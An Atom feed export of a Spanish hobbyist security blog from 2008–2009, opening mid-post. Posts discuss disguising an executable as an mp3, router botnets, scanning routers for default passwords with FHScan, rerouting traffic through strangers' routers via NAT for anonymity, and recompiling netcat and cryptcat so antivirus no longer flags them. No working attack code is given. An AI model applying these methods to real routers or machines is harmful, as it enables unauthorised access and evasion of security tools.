disco original que seguro que acaba antes.&lt;/p&gt;  &lt;p align="justify"&gt;El pobre usuario ha sido contaminado por los virus mas horripilantes de la faz de la tierra y Metallica conquista el corazón de otro fiel seguidor.&lt;/p&gt;&lt;p align="justify"&gt;*Nota: El ejecutable podría en vez de mostrar un cartel, mostrar la página web a la que aparenta llevar el link y hacer otras atroces acciones. De modo que todo funciona como debería...aparentemente.
&lt;/p&gt;  &lt;p align="justify"&gt;Dedicatoria: Esto me lo he encontrado gracias a HacKDarK, en un &lt;a href="http://indetectables.net/foro/viewtopic.php?f=10&amp;amp;t=8543&amp;amp;start=20"&gt;post&lt;/a&gt; en el que se retaba a los usuarios a comprobar si un archivo estaba infectado o no. Pero él no había subido un exe, sino "el mp3xe" :D&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-5174485936575384092?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/5174485936575384092/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/03/el-mp3-ejecutable.html#comment-form' title='21 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/5174485936575384092'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/5174485936575384092'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/03/el-mp3-ejecutable.html' title='El mp3 ejecutable'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_FGFE7zLOsQk/ScwmoZglTmI/AAAAAAAAAEU/_AGX9SgN8Cc/s72-c/metallica1_thumb%5B12%5D.png?imgmax=800' height='72' width='72'/><thr:total>21</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-4388791357292342315</id><published>2009-03-25T21:44:00.003+01:00</published><updated>2009-04-01T18:24:11.351+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='router'/><title type='text'>La botnet de routers</title><content type='html'>&lt;p style="text-align: justify;"&gt;&lt;a href="http://el-blog-de-thor.blogspot.com/2008/10/nuestros-queridos-amigos-los-routers.html"&gt;Hace&lt;/a&gt;-&lt;a href="http://el-blog-de-thor.blogspot.com/2008/11/nuestros-queridos-amigos-los-routers.html"&gt;unos&lt;/a&gt;-&lt;a href="http://el-blog-de-thor.blogspot.com/2008/11/nuestros-queridos-amigos-los-routers-la.html"&gt;meses&lt;/a&gt;-&lt;a href="http://el-blog-de-thor.blogspot.com/2009/01/nuestros-queridos-amigos-los-routers.html"&gt;comentaba&lt;/a&gt; como los routers eran perfectos para redireccionar nuestras conexiones y aumentar un poco el anonimato o acceder a servidores con una IP distinta a la nuestra.&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;"&gt;Y hoy leo en &lt;a href="http://www.hispasec.com/directorio/laboratorio/unaaldia.html"&gt;una-al-dia&lt;/a&gt;, un articulo que trata de como una botnet se alimenta de estos cacharros silenciosos que están encendidos las 24 horas y con escasa vigilancia.   
&lt;a title="http://www.hispasec.com/unaaldia/3805/routers-modems-botnets" href="http://www.hispasec.com/unaaldia/3805/routers-modems-botnets"&gt;http://www.hispasec.com/unaaldia/3805/routers-modems-botnets&lt;/a&gt; &lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;"&gt;Estos locos han ido bastante mas lejos y han subido bots compilados para MIPS, la arquitectura de algunos routers, que se conectan a un IRC y reciben malvadas ordenes. Y claro como estos dispositivos suelen estar encendidos las 24 horas del día es el bot perfecto.&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;"&gt;Supongo que el malware dependerá mucho del modelo de router que se quiera infectar... Ya no solo de la arquitectura sino del sistema operativo que use, IOS¿?, versión de este... no tengo ni idea.&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;"&gt;Vaya infierno, ya uno no se puede fiar ni de su ordenador, ni de su router, ni del teléfono... Pobres personas con escasos conocimientos de informática que quieran solo ver el marca y chatear por internet, están completamente indefensos. Que Dios se apiade de nuestros bytes.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-4388791357292342315?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/4388791357292342315/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/03/la-botnet-de-routers.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/4388791357292342315'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/4388791357292342315'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/03/la-botnet-de-routers.html' title='La botnet de routers'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-3470717785747136925</id><published>2009-03-09T23:12:00.002+01:00</published><updated>2009-04-01T18:24:33.199+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='antivirus'/><title type='text'>Los antivirus quieren destruir el mundo</title><content type='html'>&lt;p style="text-align: justify;"&gt;&lt;a href="http://www.neoteo.com/avg-reporta-al-user32-dll-como-infectado-en-14035.neo"&gt;Hace 6 meses&lt;/a&gt; el antivirus AVG se cansó de los estúpidos usuarios y se puso como loco a borrar user32.dll. La cantidad de llamadas a la centralita de AVG tuvo que ser importante, un DDoS telefónico.&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;"&gt;No es raro que un antivirus en su proceso de mejora detecte un archivo del sistema, seguro que alguno realiza acciones muy sospechosas. Lo raro es que no se probara antes, seguro que tienen un banco de pruebas gigantesco con "Goodware" y hacen una pasada antes de dar como bueno un nuevo algoritmo, regla heurística, firmas o lo que sea. Pero hay tantos programas, tantas dlls, tantas versiones, que al final son habituales estas cosas.&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;"&gt;Hoy mismo &lt;a href="http://software.adslzone.net/2009/03/09/actualizacion-de-nod32-presenta-falsos-positivos-y-borra-archivos-importantes-para-el-sistema-solucion-al-falso-positivo-de-nod32-con-win32kryptikjx/"&gt;NOD32 hizo lo propio&lt;/a&gt; con winlogon.exe, es lo que tiene la paranoia de los antivirus, es como mi paranoia, TODO es malware y si actualmente no lo es lo será es la siguiente actualización. Te jodes.&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;"&gt;Y no es un caso aislado, &lt;a href="http://www.infospyware.com/blog/panda-security-y-su-error-con-wininetdll.htm"&gt;Panda&lt;/a&gt;, &lt;a href="http://www.laflecha.net/canales/seguridad/un-falso-positivo-de-una-casa-antivirus-inutiliza-miles-de-sistemas-windows"&gt;Norton&lt;/a&gt;, ninguno se salva. Esto es la guerra. Un día te formatean el disco duro si te descuidas.&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;"&gt;Lo mejor: no tener antivirus, no creerse eso de que necesitas ejecutar un exe para ver una foto o para ver un video de youtube. Y fiarse de que no usen contra ti un exploit 0-day ¿un antivirus evitaría algo? lo dudo.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-3470717785747136925?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/3470717785747136925/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/03/los-antivirus-quieren-destruir-el-mundo.html#comment-form' title='8 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/3470717785747136925'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/3470717785747136925'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/03/los-antivirus-quieren-destruir-el-mundo.html' title='Los antivirus quieren destruir el mundo'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-2319292081749580506</id><published>2009-01-28T01:16:00.003+01:00</published><updated>2009-04-01T18:24:59.771+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='router'/><category scheme='http://www.blogger.com/atom/ns#' term='Fast http auth scanner'/><title type='text'>Nuestros queridos amigos los routers: Atarascado</title><content type='html'>&lt;p style="text-align: justify;"&gt;No paran esos tipos, los Tarasco han publicado una &lt;a href="http://www.tarasco.org/security/FHScan_Fast_HTTP_Vulnerability_Scanner/index.html"&gt;nueva versión del FHSCAN&lt;/a&gt;, Fast HTTP Vulnerability scanner v1.1.23.&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;Esta vez incluye una bonita GUI:  
&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/SX-jzsgGmqI/AAAAAAAAADw/ZsWEoZMM1Sc/s1600-h/fhscan_gui%5B4%5D.jpg"&gt;&lt;img style="border: 0px none ;" alt="fhscan_gui" src="http://lh4.ggpht.com/_FGFE7zLOsQk/SX-j0e2zLAI/AAAAAAAAAD0/okiHPb_hopc/fhscan_gui_thumb%5B2%5D.jpg?imgmax=800" width="408" border="0" height="216" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt; &lt;/p&gt;  &lt;p style="text-align: justify;"&gt;Listo para seguir buscando routers con passwords por defecto.&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;"&gt;&lt;a href="http://el-blog-de-thor.blogspot.com/2008/10/nuestros-queridos-amigos-los-routers.html"&gt;En&lt;/a&gt;    
&lt;a href="http://el-blog-de-thor.blogspot.com/2008/11/nuestros-queridos-amigos-los-routers.html"&gt;anteriores&lt;/a&gt;    
&lt;a href="http://el-blog-de-thor.blogspot.com/2008/11/nuestros-queridos-amigos-los-routers-la.html"&gt;episodios&lt;/a&gt; comentaba como era posible usar estos routers para redireccionar conexiones y así conseguir anonimato. &lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;"&gt;La idea es usar NAT. &lt;a href="http://es.wikipedia.org/wiki/NAT"&gt;Network Address Translation&lt;/a&gt; es lo que usan los routers para poder redirigir conexiones que llegan desde internet al router hacia un ordenador que este conectado a este.    
Por ejemplo, tienes 2 ordenadores conectados al router y quieres montar en uno de ellos un servidor web, ¿como sabe el router, cuando le llega una petición al puerto 80, a que ordenador de los dos enviársela? Consultando la tabla NAT. La cual se suele configurar a mano.&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;"&gt;Y ahí entra en juego una persona maliciosa que va por ahí accediendo a routers indefensos y configurando NAT para que redirija el tráfico que recibe a otra ip pública.&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;"&gt;Así es posible que al acceder con el navegador a un router este redirija la conexión a una página web. Quedando registrada en el servidor web de dicha página la dirección IP del router y no la nuestra. Esto se puede hacer con tantos routers encadenados como queramos, viéndose muy poco afectada la velocidad de navegación.&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;"&gt;La realidad es que muy pocos routers te dejan hacer esto. La mayoría directamente te pide una ip privada para configurar NAT como es normal, otros te dejan poner la IP que quieras pero después no redireccionan la conexión que les llega desde fuera.&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;"&gt;Pero algunos siguen dejando y eso sin entrar en profundidad a configurarlos mediante telnet y sin ni siquiera plantearse el suplantar el firmware por otro modificado maliciosísimamente.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-2319292081749580506?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/2319292081749580506/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/01/nuestros-queridos-amigos-los-routers.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/2319292081749580506'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/2319292081749580506'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/01/nuestros-queridos-amigos-los-routers.html' title='Nuestros queridos amigos los routers: Atarascado'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_FGFE7zLOsQk/SX-j0e2zLAI/AAAAAAAAAD0/okiHPb_hopc/s72-c/fhscan_gui_thumb%5B2%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-1946498303228809816</id><published>2009-01-24T19:08:00.003+01:00</published><updated>2009-04-01T18:26:30.971+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cryptcat'/><category scheme='http://www.blogger.com/atom/ns#' term='antivirus'/><category scheme='http://www.blogger.com/atom/ns#' term='netcat'/><category scheme='http://www.blogger.com/atom/ns#' term='firmas'/><title type='text'>¿Quieres herramientas indetectables? Compílalas!</title><content type='html'>&lt;p style="text-align: justify;"&gt;Por necesidades de la vida me vi en la necesidad de usar &lt;a href="http://sourceforge.net/projects/cryptcat/"&gt;cryptcat&lt;/a&gt;.
Como buen paranoico que desconfía de todo exe descargado de la interné lo subí a &lt;a href="http://www.virustotal.com/"&gt;VirusTotal&lt;/a&gt;, 21 detecciones, nada raro ya que mas o menos todos los detectan como network/hack tool.&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;"&gt;Pero ya puestos que mejor que bajarse el código y compilarlo uno mismo, por supuesto leyendo todo el código para verificar que no haga nada malo... (vale, no lo hice).&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;"&gt;Ya sabía que usar distintos compiladores confundía mucho a los antivirus, al fin y al cabo todas las firmas que tengan en sus bases de firmas o ya no existen o han sido desplazadas.  

Pero no me esperaba que ninguno lo detectase. Ya de paso también compilé el &lt;a href="http://netcat.sourceforge.net/"&gt;netcat&lt;/a&gt;...por si algún día "quiero usarlo en un equipo de mi propiedad que tenga antivirus y no tenga la capacidad de añadir exclusiones". Con el mismo resultado 0 AVs lo detectan.&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;"&gt;Resultados de &lt;a href="http://www.virustotal.com/"&gt;VirusTotal&lt;/a&gt;:   
&lt;a href="http://www.virustotal.com/analisis/30bc0c611a4901444ca51c8647e886bf"&gt;Netcat original&lt;/a&gt;&lt;strong&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; 25&lt;/span&gt;/39     
&lt;/strong&gt;&lt;a href="http://www.virustotal.com/analisis/832de494eb15557a46dd635c7729d5fd"&gt;Netcat compilado con Visual Studio 2008&lt;/a&gt; &lt;strong&gt;0/39&lt;/strong&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;"&gt;&lt;a href="http://www.virustotal.com/analisis/d27b28e05a9c0135c2f684b5df78cf5b"&gt;Cryptcat original&lt;/a&gt; &lt;strong&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;21&lt;/span&gt;/39&lt;/strong&gt;   
&lt;a href="http://www.virustotal.com/analisis/cc1b199c236918176e07200e07f40012"&gt;Cryptcat compilado con Visual Studio 2008&lt;/a&gt; &lt;strong&gt;0/39&lt;/strong&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;"&gt;Así de fácil. ¿Para que tener norton o panda instalados? ¿Para que me consuma la mitad de la memoría RAM y parte de la CPU intentando encontrar viejos virus?  
Vale si, está bien como una capa mas de seguridad. Pero ante un ataque dirigido los antivirus no tienen nada que hacer.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-1946498303228809816?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/1946498303228809816/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/01/quieres-herramientas-indetectables.html#comment-form' title='5 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/1946498303228809816'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/1946498303228809816'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/01/quieres-herramientas-indetectables.html' title='¿Quieres herramientas indetectables? Compílalas!'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-93113048389230864</id><published>2008-12-02T00:23:00.003+01:00</published><updated>2008-12-02T00:48:43.612+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='análisis de malware'/><title type='text'>Buen texto sobre análisis de malware</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;a href="http://docs.google.com/Doc?id=ddkp262g_4ftzh5mhg"&gt;Aquí&lt;/a&gt; hay un buen texto sobre análisis de malware. Mas bien es un recorrido por las herramientas que cualquiera podría usar para ver si un archivo hace algo mas de lo que dice :P

La mayoría de esto no serviría de mucho si se usa algún crypter con código que detecte si se está ejecutando sobre una máquina virtual y entonces no lanzase sus malvadas funciones.

Algún día me gustaría examinar los códigos que se suelen usar para detectar máquinas virtuales, encontrar algún modo de localizarlos y anularlos para poder seguir con el análisis del malware en un entorno seguro.

¿Y porque me ha dado por mirar esto? Porque en un &lt;a href="http://www.indetectables.net/foro/index.php"&gt;foro donde participo&lt;/a&gt; se postea malware y es habitual que alguno postee malware infectado con malware. Y yo me estoy aficionando &lt;a href="http://www.indetectables.net/foro/viewtopic.php?f=32&amp;amp;t=4335&amp;amp;p=35263#p35263"&gt;a pillar a estos pillos&lt;/a&gt; :D

Que divertido, ¿no?
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-93113048389230864?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/93113048389230864/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/12/buen-texto-sobre-anlisis-de-malware.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/93113048389230864'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/93113048389230864'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/12/buen-texto-sobre-anlisis-de-malware.html' title='Buen texto sobre análisis de malware'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-7575284606601900983</id><published>2008-11-18T00:52:00.002+01:00</published><updated>2008-11-18T00:55:31.712+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Fast http auth scanner'/><title type='text'>Nuestros queridos amigos los routers. La salvación</title><content type='html'>&lt;p align="justify"&gt;En anteriores entregas &lt;a href="http://el-blog-de-thor.blogspot.com/2008/11/nuestros-queridos-amigos-los-routers.html"&gt;andaba yo quejandome&lt;/a&gt;, que si los routers, que si el fscan...pelándome con la versión 0.6, suplicando que alguien me diera la versión 1.0, intentando entender el código...un infierno.&lt;/p&gt;  &lt;p align="justify"&gt;El señor escucho mis ruegos nocturnos y un día después de aquello &lt;a href="http://www.tarasco.org/security/index.html"&gt;la web de los hermanos Tarasco&lt;/a&gt;¿? volvió a la luz. Con la versión &lt;a href="http://www.tarasco.org/security/fscan/index.html"&gt;1.0 beta 5 del fscan&lt;/a&gt;. &lt;/p&gt;  &lt;p align="justify"&gt;Grandes cambios, facilidad para &lt;a href="http://blog.48bits.com/?p=294"&gt;usar la libreria HTTP FScan Core&lt;/a&gt; en nuestros programas, mas esquemas, mas passwords, mas de todo.&lt;/p&gt;  &lt;p align="justify"&gt;Una maravilla !!&lt;/p&gt;  &lt;p align="justify"&gt;Gracias señor...señor Tarasco.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-7575284606601900983?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/7575284606601900983/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/11/nuestros-queridos-amigos-los-routers-la.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/7575284606601900983'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/7575284606601900983'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/11/nuestros-queridos-amigos-los-routers-la.html' title='Nuestros queridos amigos los routers. La salvación'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-3207916167623714200</id><published>2008-11-12T22:14:00.001+01:00</published><updated>2008-11-12T22:14:00.653+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='router'/><category scheme='http://www.blogger.com/atom/ns#' term='Fast http auth scanner'/><title type='text'>Nuestros queridos amigos los routers. Reloaded</title><content type='html'>&lt;p align="justify"&gt;...En anteriores episodios...   &lt;br /&gt;&lt;a href="http://el-blog-de-thor.blogspot.com/2008/10/nuestros-queridos-amigos-los-routers.html"&gt;Nuestros queridos amigos los routers.&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Muy poco a poco he ido ojeando el c&amp;#243;digo del fscan. Es horrible ver c&amp;#243;digos que no los has hecho t&amp;#250; de cero, que no sabes el por qu&amp;#233; se hacen las cosas y adem&amp;#225;s tan complicados :S   &lt;br /&gt;    &lt;br /&gt;Al final me tope con lo que empec&amp;#233; buscando, el porqu&amp;#233; del &lt;a href="http://lh4.ggpht.com/xyzthor/SQdviUHP54I/AAAAAAAAADk/m0rUG5me5WY/fscan%20fallo_thumb%5B15%5D.png"&gt;fallo que me di&amp;#243;&lt;/a&gt;. Resulta que sucede que falla con combinaciones &amp;quot;user&amp;quot; + &amp;quot;:&amp;quot; + &amp;quot;pass&amp;quot; mas largas de 27 car&amp;#225;cteres:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align="justify"&gt;void *Escanea(void *thread){     &lt;br /&gt;&amp;#160;&amp;#160; ...      &lt;br /&gt;&amp;#160;&amp;#160; char password[28]       &lt;br /&gt;&amp;#160;&amp;#160; ... &lt;/p&gt; &lt;/blockquote&gt;  &lt;p align="justify"&gt;Pues fale, aumento el tama&amp;#241;o del buffer y a correr. Ahora el programa pilla el super password de mi router, lo malo es    &lt;br /&gt;que le quit&amp;#233; el soporte para openSSL y la salida no sale bien ordenada, estaba pensado para 27 car&amp;#225;cteres ...Que kaos xDD &lt;/p&gt;  &lt;p align="justify"&gt;El c&amp;#243;digo est&amp;#225; muy bien, me gustar&amp;#237;a rescribirlo para comprenderlo y poderlo adaptarlo facilmente a otros programas. Quiz&amp;#225;s alg&amp;#250;n d&amp;#237;a me de por automatizar la b&amp;#250;squeda y el redireccionamiento de puertos de estos cacharros...&lt;/p&gt;  &lt;p align="justify"&gt;Pero antes de ponerse a hacer un trabajo tan duro, porque no usar la versi&amp;#243;n 1.0 de este programa.   &lt;br /&gt;&amp;#191;Que !!? &amp;#191;Pero existe la versi&amp;#243;n 1.0 y nosotros haciendo el tonto con la 0.6?     &lt;br /&gt;Pues si y no. Existe la 1.0, juro que un d&amp;#237;a la use y todo, pero ahora no encuentro la herramienta por ning&amp;#250;n lado y &lt;a href="http://www.tarasco.org"&gt;en su p&amp;#225;gina&lt;/a&gt; no puede descargarse :(&amp;#160; Es mas, la &lt;a href="http://216.239.59.104/search?q=cache:azNGKrX67hYJ:www.tarasco.org/Web/+March:+Fscan+HTTP+Proxy+developed.+Improved+Fscan&amp;amp;hl=es&amp;amp;ct=clnk&amp;amp;cd=1&amp;amp;gl=es"&gt;cach&amp;#233; de google&lt;/a&gt; me d&amp;#225; la raz&amp;#243;n:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align="justify"&gt;2008, March: Fscan HTTP Proxy developed. Improved Fscan core API     &lt;br /&gt;2008, February: Fscan v1.0 project and Fscan HTTP Core API published&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align="justify"&gt;&amp;#191;Donde est&amp;#225; tarasco? &amp;#191;Ya le abdujo una mujer? Vuelve !!!   &lt;br /&gt;    &lt;br /&gt;Lo que si est&amp;#225; todav&amp;#237;a en su p&amp;#225;gina es el &amp;quot;Fscan HTTP Core API&amp;quot;:    &lt;br /&gt;&lt;a href="http://www.tarasco.org/Web/fscan/index.html"&gt;http://www.tarasco.org/Web/fscan/index.html&lt;/a&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align="justify"&gt;Fscan core     &lt;br /&gt;This library is our HTTP/1.1 implementation for developing HTTP security software under win32/linux. Supports multithreading, SSL and native digest/NTLM/basic authentication. &lt;/p&gt; &lt;/blockquote&gt;  &lt;p align="justify"&gt;Esto ya es otra cosa, otra cosa que da mucho mas miedo que la anterior :S&lt;/p&gt;  &lt;p align="justify"&gt;Ahora tendr&amp;#233; que meditar que hacer: seguir con la 0.6, programarme la m&amp;#237;a que funcionar&amp;#225; peor pero comprender&amp;#233; o seguir buscando la 1.0.&lt;/p&gt;  &lt;p align="justify"&gt;&amp;#191;Y todo esto para que? Pues para el final usar varios routers para hacer saltos de uno a otro y al final acceder a una ip de forma &amp;quot;an&amp;#243;nima&amp;quot;.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-3207916167623714200?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/3207916167623714200/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/11/nuestros-queridos-amigos-los-routers.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/3207916167623714200'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/3207916167623714200'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/11/nuestros-queridos-amigos-los-routers.html' title='Nuestros queridos amigos los routers. Reloaded'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 